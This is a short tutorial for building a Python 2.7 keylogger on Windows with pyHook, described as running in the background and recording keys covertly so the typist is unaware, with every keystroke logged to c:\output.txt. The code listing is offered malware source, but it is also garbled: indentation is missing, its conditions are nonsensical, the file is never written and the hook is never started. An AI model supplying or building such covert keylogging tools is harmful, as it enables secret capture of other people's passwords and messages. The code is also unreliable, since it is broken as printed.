Create a keylogger that runs in background using python

In this tutorial we are going to help you create a simple python keylogger by using simple programming techniques .

Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording (logging) the keys struck on a keyboard, typically covertly, so that the person using the keyboard is unaware that their actions are being monitored. Keylogging can also be used to study human–computer interaction. Numerous keylogging methods exist: they range from hardware and software-based approaches to acoustic analysis.

STEP 1: From the start menu select,” Python 2.7 > IDLE(Python GUI)”

STEP 2:  Click “File > New window”

STEP 3: Now type the below code in Python window  as shown in fig.,

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5: 
if event.Ascii != 0 or 8: 
f = open ('c:\\output.txt', 'a') 
keylogs = chr(event.Ascii) 
if event.Ascii == 13: 
keylogs = keylogs + '\n' 
while True:
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 

STEP 4 :Save the file in C:\ as and click  RUN( CTRL + R: the keylogger will come started in the background and will run until the log file “C: \ output.txt” anything that will typed on the keyboard. )